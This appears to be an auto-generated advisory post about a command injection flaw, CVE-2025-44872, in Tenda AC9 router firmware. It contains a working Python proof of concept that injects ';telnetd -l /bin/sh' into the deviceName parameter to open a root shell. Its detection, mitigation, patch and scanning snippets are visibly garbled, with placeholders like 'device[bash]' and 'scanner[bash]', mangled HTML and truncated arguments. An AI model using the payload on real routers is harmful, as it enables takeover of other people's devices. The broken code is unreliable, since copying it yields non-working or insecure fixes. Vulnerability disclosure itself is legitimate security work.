Tenda AC9, Command Injection, CVE-2025-44872 (Critical)

Listen to this Post

How CVE-2025-44872 Works

The vulnerability exists in Tenda AC9 firmware version V15.03.06.42_multi within the `formsetUsbUnload` function. Attackers can exploit improper input sanitization of the `deviceName` parameter to inject OS commands. When malicious payloads containing shell metacharacters (like ;, |, or &) are sent via crafted HTTP requests, the router executes them with root privileges. This occurs because the firmware passes user-controlled input directly to system() calls without validation, enabling complete device compromise.

DailyCVE Form

Platform: Tenda AC9
Version: V15.03.06.42_multi
Vulnerability: Command Injection
Severity: Critical
Date: 2025-05-27

Prediction: Patch by 2025-06-30

What Undercode Say:

Exploit PoC (Educational Purposes Only)
import requests
target = "http://192.168.0.1/goform/setUsbUnload"
payload = {"deviceName": ";telnetd -l /bin/sh"}
requests.post(target, data=payload)
Detection Command
curl -sI http://$ROUTER_IP | grep "Server: Tenda AC9/V15.03.06.42"
Mitigation Workaround
from flask import Flask, request
app = Flask(<strong>name</strong>)
@app.route('/usb_unload', methods=['POST'])
def sanitize_input():
device = request.form.get('deviceName')
if any(c in device for c in [';','|','&','$']):
return "Invalid input", 400
Safe processing continues
Network Protection
location /goform/ {
limit_req zone=one burst=5;
deny all;
}
Firmware Verification
openssl dgst -sha256 AC9_V15.03.06.44.bin | grep ^SHA256
// Patch Example
void formsetUsbUnload() {
char device[bash];
sanitize_input(deviceName, device); // New validation
snprintf(cmd, sizeof(cmd), "umount %s", device);
system(cmd);
}
Post-Exploit Detection
grep -r "system(" ./binary | grep -i "deviceName"
Automated Scanning
import nmap
scanner = nmap.PortScanner()
scanner.scan('192.168.1.0/24', arguments='-p80 --script http-')
for host in scanner.all_hosts():
if "Tenda AC9" in scanner[bash]['tcp'][bash]['script']['http-']:
print(f"Vulnerable device: {host}")

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top